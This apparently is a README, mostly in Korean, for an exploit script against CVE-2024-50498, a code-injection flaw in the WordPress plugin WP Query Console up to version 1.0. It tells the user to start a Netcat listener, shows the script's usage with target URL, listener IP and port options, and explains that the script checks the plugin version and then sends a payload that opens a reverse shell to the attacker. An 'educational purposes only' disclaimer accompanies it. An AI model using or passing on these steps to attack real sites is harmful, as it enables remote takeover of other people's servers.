
WordPress WP Query Console에서 CVE-2024-50498 코드 인젝션 취약점을 확인하고 리버스 셸을 전달하는 익스플로잇 스크립트입니다.
LUBUS WP Query Console의 코드 생성 제어 불량('코드 삽입') 취약점으로 인해 코드 삽입이 가능합니다. 이 문제는 WP Query Console n/a부터 1.0까지의 버전에 영향을 미칩니다.
사용자 머신에서 터미널을 열고 Netcat 리스너를 시작하여 리버스 셸 연결을 대기하세요.
nc -lvnp <PORT>
usage: CVE-2024-50498.py [-h] -u URL -ip LISTENER_IP -P PORT
wordpress | Improper Control of Generation of Code ('Code Injection') vulnerability in LUBUS WP Query Console allows Code
Injection.This issue affects WP Query Console: from n/a through 1.0. script Exploit by: Nxploit Khaled_alenazi This script
is provided for educational purposes only. The author is not responsible for any damages caused by the misuse of this
script.
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL (e.g., http://example.com/wordpress)
-ip LISTENER_IP, --listener_ip LISTENER_IP
Your IP address for listening.
-P PORT, --port PORT Your listening port.
명령을 실행한 후, Netcat 터미널에서 리버스 셸 연결을 확인하세요.
이 스크립트는 먼저 플러그인 버전을 확인하여 사이트가 취약한지 점검합니다. 취약한 경우, 리버스 셸을 트리거하는 페이로드를 전송합니다. 성공하면 Netcat 터미널에서 셸 연결을 확인하세요.